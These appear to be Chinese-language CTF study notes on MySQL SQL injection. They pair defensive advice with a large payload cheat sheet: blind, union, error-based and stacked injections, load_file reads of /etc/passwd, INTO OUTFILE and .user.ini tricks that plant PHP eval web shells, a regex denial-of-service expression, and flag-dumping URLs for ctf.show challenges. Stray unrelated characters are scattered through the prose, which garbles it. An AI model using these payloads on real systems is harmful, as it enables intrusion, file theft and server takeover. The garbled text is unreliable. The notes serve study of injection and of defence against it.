數(shù)據(jù)與代碼分離
盲注:沒(méi)有錯(cuò)誤回顯 or 返回頁(yè)面無(wú)差異
//根據(jù)返回結(jié)果判斷注入
id=2
id=2 and 1=2
id=2 and 1=1
基于時(shí)間的盲注:
BENCKMARK(count,expr)
sleep()
//笛卡爾積
(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata E)
//正則dos
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
get_clock()
MYSQL注入
1.注釋符
#
注釋從#字符到行尾;
--
注釋從該字符到行尾慢洋,但是后面需要跟上一個(gè)或多個(gè)空格(空格隆箩、tag都可以)假残;
/* */
注釋從/序列到后面的/序列中間的字符钝凶。
/* */
中加語(yǔ)句:
2.元數(shù)據(jù)
information_schema數(shù)據(jù)庫(kù)的利用:
//查數(shù)據(jù)庫(kù)
select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1;
//查表
select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA = (select DATABASE());
//查列名
select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_SCHEMA='security' and TABLE_NAME='users';
3.UNION查詢
order by
加union select
查詢測(cè)列數(shù)和回顯位置
4.函數(shù)利用
load_file()
:讀文件
要求文件的位置必須在服務(wù)器上,文件必須為全路徑名稱(絕對(duì)路徑)敞曹,而且用戶必須持有FILE權(quán)限丧靡,文件容量也必須小于max_allowed_packet(默認(rèn)為16MB,最大為1GB)歉秫。
union select 1,load_file('/etc/passwd'),3,4,5,6 #
//過(guò)濾單引號(hào)
union select 1,2load_file(0x2F6574632F706173737764),3,4,5,6 #
union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6 #
//防止返回結(jié)果亂碼
select hex(load_file(char(99,58,92,49,46,116,120,116)));
into outfile()
into dumpfile()
:寫(xiě)文件
要求仍然是必須持有FILE權(quán)限蛾洛,并且文件必須為全路徑名稱。
寫(xiě)文件到文件里:
select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php';
select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php';
寫(xiě)文件到表里:
CREATE TABLE potatoes(line BLOB)
UNION SELECT 1,1,HEX(LOAD_FILE('/ext/passwd')),1,1 INTO DUMPFILE '/tmp/potatoes';
LOAD DATA INFILE '/tmp/potatoes' INTO TABLE potatoes
上面要求要?jiǎng)?chuàng)建表的權(quán)限端考。INTO DUMPFILE
和INTO OUTFILE
的區(qū)別是:DUMPFILE適用于二進(jìn)制文件雅潭,它會(huì)將目標(biāo)文件寫(xiě)入同一行內(nèi)揭厚;而OUTFILE則更適用于文本文件。
concat()
concat_ws()
:拼接字符串
group_concat()
:縱向拼接
5.報(bào)錯(cuò)注入
updatexml()
:
updatexml(XML_document,XPath_string,new_value)
extractvalue()
:
extractvalue(XML_document,XPath_string)
floor()
扶供、ceil()
筛圆、round()
配合rand()
https://www.cnblogs.com/wzy-ustc/p/14217750.html
6.寬字節(jié)注入
一般出現(xiàn)在PHP+MySQL中,出現(xiàn)的原因是編碼不統(tǒng)一椿浓。下面的分析是基于MySQL使用了GBK編碼這種寬字符集太援。
在PHP配置文件php.ini中存在magic_quotes_gpc
選項(xiàng),被稱為魔術(shù)引號(hào)扳碍,當(dāng)此選項(xiàng)被打開(kāi)時(shí)提岔,使用GET、POST笋敞、Cookie所接收到的單引號(hào)'
碱蒙、雙引號(hào)"
、反斜線\
和NULL
字符都會(huì)被自動(dòng)加上一個(gè)反斜線轉(zhuǎn)義夯巷。
那么輸入的'
就會(huì)變?yōu)?code>\'赛惩,而MySQL認(rèn)為\'
是一個(gè)字符,所以無(wú)法閉合之前的'從而達(dá)到注入的效果趁餐。但是如果輸入的是0xbf'
喷兼,即0xbf27
,單引號(hào)被轉(zhuǎn)義后變?yōu)?code>0xbf5c27(0x5c=\
)后雷,而0xbf5c
被MySQL解析為一個(gè)字符季惯,轉(zhuǎn)義字符\
就被繞過(guò)了,單引號(hào)'
成功閉合了臀突。
要解決這種問(wèn)題勉抓,需要統(tǒng)一數(shù)據(jù)庫(kù)、操作系統(tǒng)惧辈、Web應(yīng)用所使用的字符集琳状,以避免各層對(duì)字符的理解存在差異。統(tǒng)一設(shè)置為UTF-8是一個(gè)很好的方法盒齿。
基于字符集的攻擊并不局限于SQL注入,凡是會(huì)解析數(shù)據(jù)的地方都可能存在此問(wèn)題困食。比如在XSS攻擊時(shí)边翁,由于瀏覽器與服務(wù)器返回的字符編碼不同,也可能會(huì)存在字符集攻擊硕盹。解決方法就是在HTML頁(yè)面的<meta>標(biāo)簽中指定當(dāng)前頁(yè)面的charset符匾。
7.MySQL長(zhǎng)字符截?cái)?/h3>
在MySQL中的一個(gè)設(shè)置里有一個(gè)sql_mode
選項(xiàng),當(dāng)sql_mode
設(shè)置為default時(shí)瘩例,即沒(méi)有開(kāi)啟STRICT_ALL_TABLES
選項(xiàng)時(shí)(MySQLsql_mode
默認(rèn)即為default
)啊胶,MySQL對(duì)插入超長(zhǎng)的值只會(huì)提示warning甸各,而不是error,這樣就可能會(huì)導(dǎo)致一些截?cái)鄦?wèn)題焰坪。
比如表如下:
CREATE TABLE USERS(
id int(11) NOT NULL,
username varchar(7) NOT NULL,
password varchar(12) NOT NULL
正常的插入:
insert into users(id,username,password) values(1,'admin','admin');
惡意的插入:
//'admin '右邊有3個(gè)空格趣倾,長(zhǎng)度為8
insert into users(id,username,password) values(1,'admin ','admin');
//在上面的基礎(chǔ)上再加個(gè)x
insert into users(id,username,password) values(1,'admin x','admin');
這時(shí)數(shù)據(jù)庫(kù)中有三個(gè)叫admin的用戶,只不過(guò)后面兩個(gè)的長(zhǎng)度為7某饰。也就是在默認(rèn)情況下儒恋,如果數(shù)據(jù)超出列默認(rèn)長(zhǎng)度,MySQL會(huì)將其截?cái)嗲5窃诓樵?code>username='admin'的時(shí)候诫尽,三個(gè)用戶都會(huì)被查詢出來(lái)。
攻擊方法:
假設(shè)管理員登陸的用戶名為admin炬守,那么攻擊者僅需要注冊(cè)一個(gè)"admin "用戶即可輕易進(jìn)入后臺(tái)管理頁(yè)面牧嫉,像著名的WordPress就被這樣的方式攻擊過(guò)。
8.UDF MOF提權(quán)
權(quán)限獲取
http://www.reibang.com/p/a00dd5240738
9.存儲(chǔ)過(guò)程
存儲(chǔ)過(guò)程是為了完成特定功能的SQL語(yǔ)句集减途,經(jīng)編譯創(chuàng)建并保存在數(shù)據(jù)庫(kù)中驹止,用戶可通過(guò)指定存儲(chǔ)過(guò)程的名字并給定參數(shù)(需要時(shí))來(lái)調(diào)用執(zhí)行。
存儲(chǔ)過(guò)程其實(shí)和UDF是很相似的观蜗,但存儲(chǔ)過(guò)程必須使用CALL或者EXECUTE來(lái)執(zhí)行臊恋。所以在某種意義上,存儲(chǔ)過(guò)程將為攻擊者提供很大的便利墓捻。
比如抖仅,在MS SQL Server中,存儲(chǔ)過(guò)程xp_cmdshell
可以用來(lái)執(zhí)行系統(tǒng)命令砖第。
存儲(chǔ)過(guò)程不能防止SQL注入撤卢,參數(shù)化才能。
procedure get_item(
itm_cv IN OUT ItmCurTyp,
usr in varchar2,
itm in varchar2)
is open itm_cv for ' SELECT * FROM items WHERE ' ||
' owner = ''' || usr ||
' AND itemname = ''' || itm || '''';
end get_item;
在這個(gè)存儲(chǔ)過(guò)程中梧兼,變量usr
和itemname
都是由外部傳入的放吩,且未經(jīng)過(guò)任何處理,將直接造成SQL注入問(wèn)題羽杰。
補(bǔ)充:
MySQL的HAVING子句在SELECT語(yǔ)句中是用來(lái)為某一組行或聚合指定過(guò)濾條件渡紫。
MySQL的HAVING子句通常與GROUP BY子句一起使用。當(dāng)它在GROUP BY子句中使用時(shí)考赛,我們可以應(yīng)用它在GROUP BY子句之后來(lái)指定過(guò)濾的條件惕澎。如果省略了GROUP BY子句,HAVING子句行為就像WHERE子句一樣颜骤。
請(qǐng)注意唧喉,HAVING子句應(yīng)用篩選條件每一個(gè)分組的行,而WHERE子句的過(guò)濾條件是過(guò)濾每個(gè)單獨(dú)的行。
10.二次注入
輸入一個(gè)帶引號(hào)的變量被存入數(shù)據(jù)庫(kù)八孝,那么第二次訪問(wèn)它就有可能把造成閉合董朝。
以PHP為例,PHP在開(kāi)啟magic_quotes_gpc
后干跛,將會(huì)對(duì)特殊字符轉(zhuǎn)義子姜,比如將'
轉(zhuǎn)義為\'
。對(duì)于如下SQL語(yǔ)句:
$sql = "insert into users (id,username,password) values (20,'$title','$content')"驯鳖;
如果插入的title為secbug'
闲询、content為secbug.org
,那么SQL語(yǔ)句如下:
insert into users (id,username,password) values (20,'secbug\'','secbug.org');
單引號(hào)的確是成功轉(zhuǎn)義了浅辙,但是secbug\'
在插入數(shù)據(jù)庫(kù)中以后卻沒(méi)有\
:
這時(shí)候如果再有一處查詢?yōu)椋?p>
select id,username,password from users where username='$username';
這時(shí)候單引號(hào)就成功閉合了扭弧,形成了SQL注入漏洞。
11.堆疊注入
就是兩句sql拼接记舆,中間;
間隔鸽捻。
12.HTTP頭部注入
防御
1.預(yù)編譯語(yǔ)句綁定變量
java中:
String custname=request.getParameter("customerName");
String query="SELECT account_balance FROM user_data WHERE user_name= ? ";
PreparedStatement pstmt = =connection.prepareStatement(query);
pstmt.setString(1,custname);
ResultSet results=pstmt.executeQuery();
php中:
$query="INSERT INTO myCity (Name,CountryCode,District) VALUES (?,?,?)";
$stmt=$myspli->prepare($query);
$stmt->bind_param("sss",$val1,$val2,$val3);
$val1='Stuttgart';
$val2='DEU';
$val3='Baden-Wuerttemberg';
/* Execute the statement */
$stmt->execute();
2.使用安全的存儲(chǔ)過(guò)程
但需要注意的是,存儲(chǔ)過(guò)程中也可能會(huì)存在注入問(wèn)題泽腮,因此應(yīng)該盡量避免在存儲(chǔ)過(guò)程內(nèi)使用動(dòng)態(tài)的SQL語(yǔ)句御蒲。如果無(wú)法避免,則應(yīng)該使用嚴(yán)格的輸入過(guò)濾或者是編碼函數(shù)來(lái)處理用戶的輸入數(shù)據(jù)诊赊。
下面是一個(gè)在Java中調(diào)用存儲(chǔ)過(guò)程的例子厚满,其中sp_getAccountBalance
是預(yù)先在數(shù)據(jù)庫(kù)中定義好的存儲(chǔ)過(guò)程:
String custname = request.getParameter("customerName");
try{
CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");
cs.setString(1,custname);
ResultSet results = cs.executeQuery();
// ... result set handling
} catch (SQLException se) {
// ... logging and error handling
}
3.檢查數(shù)據(jù)類(lèi)型
限制輸入為interger:
<?php
settype($offset,'interger');
$query = "SELECT id,name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
//please note %d in the format string,using %s would be meaningless
$query = sprintf("SELECT id,name FROM products ORDER BY name LIMIT 20 OFFSET %d;",$offset);
?>
但是如果我們就是要輸入的是字符串就不太適用了。
4.使用安全函數(shù)
一般來(lái)說(shuō)碧磅,各種Web語(yǔ)言都實(shí)現(xiàn)了一些編碼函數(shù)碘箍,可以幫助對(duì)抗SQL注入。
同時(shí)鲸郊,可以參考OWASP ESAPI中的實(shí)現(xiàn):
Codec ORACLE_CODEC = new OracleCodec();
String query = "SELECT user_id FROM user_data WHERE user_name = ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("userID")) + " ' and user_passwd= ' " + ESAPI.encoder().encodeForSQL(ORACLE_CODEC,req.getParameter("pwd")) + " ' ";
在最后丰榴,從數(shù)據(jù)庫(kù)自身的角度來(lái)說(shuō),應(yīng)該使用最小權(quán)限原則秆撮,避免Web應(yīng)用直接使用root四濒、dbowner等高權(quán)限賬戶直接連接數(shù)據(jù)庫(kù)。如果有多個(gè)不同的應(yīng)用在使用同一數(shù)據(jù)庫(kù)职辨,則也應(yīng)該為每個(gè)應(yīng)用分配不同的賬戶盗蟆。Web應(yīng)用使用的數(shù)據(jù)庫(kù)賬戶,不應(yīng)該有創(chuàng)建自定義函數(shù)拨匆、操作本地文件的權(quán)限姆涩。
繞過(guò)
返回結(jié)果過(guò)濾
to_base64()
編碼返回結(jié)果
-1' union select 1,to_base64(username),password from ctfshow_user3 --+
再進(jìn)一步,replace
替換返回結(jié)果中被過(guò)濾的值
大小寫(xiě)過(guò)濾
大小寫(xiě)繞過(guò)
空格過(guò)濾
/**/
%09
(tab)
%0c
換頁(yè)符
()
等號(hào)過(guò)濾
id=1 and 1=1
id=1 and(ord(1))
id=1 and 1 like 1
id=1 and 1 like '1' //LIKE 通常與 % 一同使用惭每,類(lèi)似于一個(gè)元字符的搜索。
id=1 and 'abcde' regexp('a')
引號(hào)過(guò)濾
二次注入
寬字符注入
需要引號(hào)括起來(lái)的字符串寫(xiě)為16進(jìn)制
char()
兩個(gè)注入點(diǎn)時(shí),第一個(gè)反斜杠第二個(gè)為真注入點(diǎn)
數(shù)字過(guò)濾
使用true來(lái)過(guò)濾台腥。在mysql中宏赘,sql語(yǔ)句true為1,true+true=2黎侈,所以通過(guò)相加察署,任何字母我們都可以構(gòu)造出來(lái)。
那么先用一坨true表示十進(jìn)制數(shù)字峻汉,再使用char()
轉(zhuǎn)換為字符贴汪,再用concat()拼接即可。
md5繞過(guò)
echo md5("ffifdyop",true);
//結(jié)果
'or'6é]?é!r,ùíb?
'or'6(后面的是不可見(jiàn)字符)
ascii()被過(guò)濾
ord()
十進(jìn)制比較
regexp
正則比較
like
配上%
進(jìn)行元字符匹配
substr()被過(guò)濾
left()
right()
一些補(bǔ)充知識(shí)點(diǎn)
在mysql和php中休吠,數(shù)字和字符串進(jìn)行比較時(shí)扳埂,當(dāng)這個(gè)字符串是一個(gè)無(wú)法轉(zhuǎn)換為數(shù)字的字符串,它就會(huì)被強(qiáng)制轉(zhuǎn)化為數(shù)字瘤礁,結(jié)果總是為0 阳懂。
在mysql的數(shù)字中,只有0是false柜思,其余都是true岩调。
一種騷操作:互換id和password,然后爆破:
alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
'varchar(255);',
表名和字段名都可以用反引號(hào)引起來(lái)赡盘,這是用來(lái)區(qū)分MYSQL的保留字與普通字符号枕。 表名、字段名陨享、數(shù)據(jù)庫(kù)名等可用反引號(hào) ( ` )葱淳,也可以不使用反引號(hào) ,但如果它包含特殊字符或保留字霉咨,則必須使用蛙紫,如果不使用就會(huì)報(bào)錯(cuò)。
sqlmap使用
--user-agent
指定ua
--refer
指定refer
--data
調(diào)整請(qǐng)求方式途戒?
--method
調(diào)整請(qǐng)求方式(大寫(xiě))
--cookie
指定cookie
--safe-url
設(shè)置在測(cè)試目標(biāo)地址前訪問(wèn)的安全鏈接
--safe-freq
設(shè)置兩次注入測(cè)試前訪問(wèn)安全鏈接的次數(shù)
sqlmap會(huì)幫我們閉合坑傅,sql關(guān)鍵字用的是大寫(xiě)
--os-shell
–os-shell 其本質(zhì)是寫(xiě)入兩個(gè)shell文件,其中一個(gè)可以命令執(zhí)行喷斋,另一個(gè)則是可以讓我們上傳文件唁毒;
不過(guò)也是有限制的,上傳文件我們需要受到兩個(gè)條件的限制星爪,一個(gè)是網(wǎng)站的絕對(duì)路徑浆西,另一個(gè)則是導(dǎo)入導(dǎo)出的權(quán)限
在mysql中,由 secure_file_priv 參數(shù)來(lái)控制導(dǎo)入導(dǎo)出權(quán)限顽腾,該參數(shù)后面為null時(shí)近零,則表示不允許導(dǎo)入導(dǎo)出诺核;如果是一個(gè)文件夾,則表示僅能在這個(gè)文件夾中導(dǎo)入導(dǎo)出久信;如果參數(shù)后面為空窖杀,也就是沒(méi)有值時(shí),則表示在任何文件夾都能導(dǎo)入導(dǎo)出
一些騷操作
1.procedure analyse()
//分頁(yè)查詢
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;
payload:
http://a4d802b0-9f96-436a-9019-353892921a86.challenge.ctf.show:8080/api/?page=1&limit=10 procedure analyse(extractvalue(rand(),concat(0x3a,database())),2)
procedure analyse()知識(shí)點(diǎn)
2.handler()語(yǔ)句
payload:
http://e2dcbccb-a399-4336-8102-60aa9e5c00c5.challenge.ctf.show:8080/api/?username=ctfshow';show%20tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
3.預(yù)處理語(yǔ)句
payload:
http://e2dcbccb-a399-4336-8102-60aa9e5c00c5.challenge.ctf.show:8080/api/?username=';prepare p from concat('s','elect',' * from ctfshow_flagasa');execute p;
from
后面可以直接跟16進(jìn)制字符串:
http://0d6ac274-9bb0-4a78-8378-4549d3fdd18c.challenge.ctf.show:8080/api/?username=';prepare p from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;execute p;
//也就是
http://0d6ac274-9bb0-4a78-8378-4549d3fdd18c.challenge.ctf.show:8080/api/?username=';prepare p from select * from ctfsh_ow_flagas;execute p;
4.調(diào)用存儲(chǔ)過(guò)程
先查存儲(chǔ)過(guò)程:
http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';prepare p from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute p;
//也就是
http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';prepare p from select * from information_schema.routines;execute p;
再調(diào)用:
http://1dd857dd-4863-4914-80ae-44d6c7786e23.challenge.ctf.show:8080/api/?username=';call getFlag();
5.其他數(shù)據(jù)庫(kù)統(tǒng)計(jì)信息
數(shù)據(jù)庫(kù)統(tǒng)計(jì)信息
//查表名
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#
6.無(wú)列名查詢
//查數(shù)據(jù)
password=\&username=,username=(select b from (select 1,2 as b,3 union select * from flag23a1 limit 1,1)a)#
7.into outfile的擴(kuò)展選項(xiàng)利用
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
/***********************************************************/
“OPTION”參數(shù)為可選參數(shù)選項(xiàng)裙士,其可能的取值有:
`FIELDS TERMINATED BY '字符串'`:設(shè)置字符串為字段之間的分隔符入客,可以為單個(gè)或多個(gè)字符。默認(rèn)值是“\t”腿椎。
`FIELDS ENCLOSED BY '字符'`:設(shè)置字符來(lái)括住字段的值桌硫,只能為單個(gè)字符。默認(rèn)情況下不使用任何符號(hào)啃炸。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`:設(shè)置字符來(lái)括住CHAR铆隘、VARCHAR和TEXT等字符型字段。默認(rèn)情況下不使用任何符號(hào)肮帐。
`FIELDS ESCAPED BY '字符'`:設(shè)置轉(zhuǎn)義字符咖驮,只能為單個(gè)字符。默認(rèn)值為“\”训枢。
`LINES STARTING BY '字符串'`:設(shè)置每行數(shù)據(jù)開(kāi)頭的字符托修,可以為單個(gè)或多個(gè)字符。默認(rèn)情況下不使用任何字符恒界。
`LINES TERMINATED BY '字符串'`:設(shè)置每行數(shù)據(jù)結(jié)尾的字符睦刃,可以為單個(gè)或多個(gè)字符。默認(rèn)值是“\n”十酣。
基于如下場(chǎng)景:
//備份表
$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";
//無(wú)過(guò)濾
可構(gòu)造如下注入涩拙,在1.php中寫(xiě)入木馬:
filename=1.php' fields terminated by '<?php eval($_REQUEST[1]);?>'#
//除了fields terminates by以外,lines starting by 和 lines terminated by都可以耸采,用法和上面的一樣
或者寫(xiě)入.user.ini(;
表示單行注釋):
filename=.user.ini' lines starting by ';' terminated by 0x0a6175746f5f70726570656e645f66696c653d312e6a70670a;#
//也就是如下語(yǔ)句掂林,只不過(guò)在`auto_prepend_file=1.jpg`前后加了%0a用于換行菠发,保證注入的內(nèi)容單獨(dú)在一行
filename=.user.ini' lines starting by ';' terminated by "auto_prepend_file=1.jpg"#
然后上傳圖片馬即可:
filename=1.jpg' lines starting by '<?=eval($_POST[1]);?>'#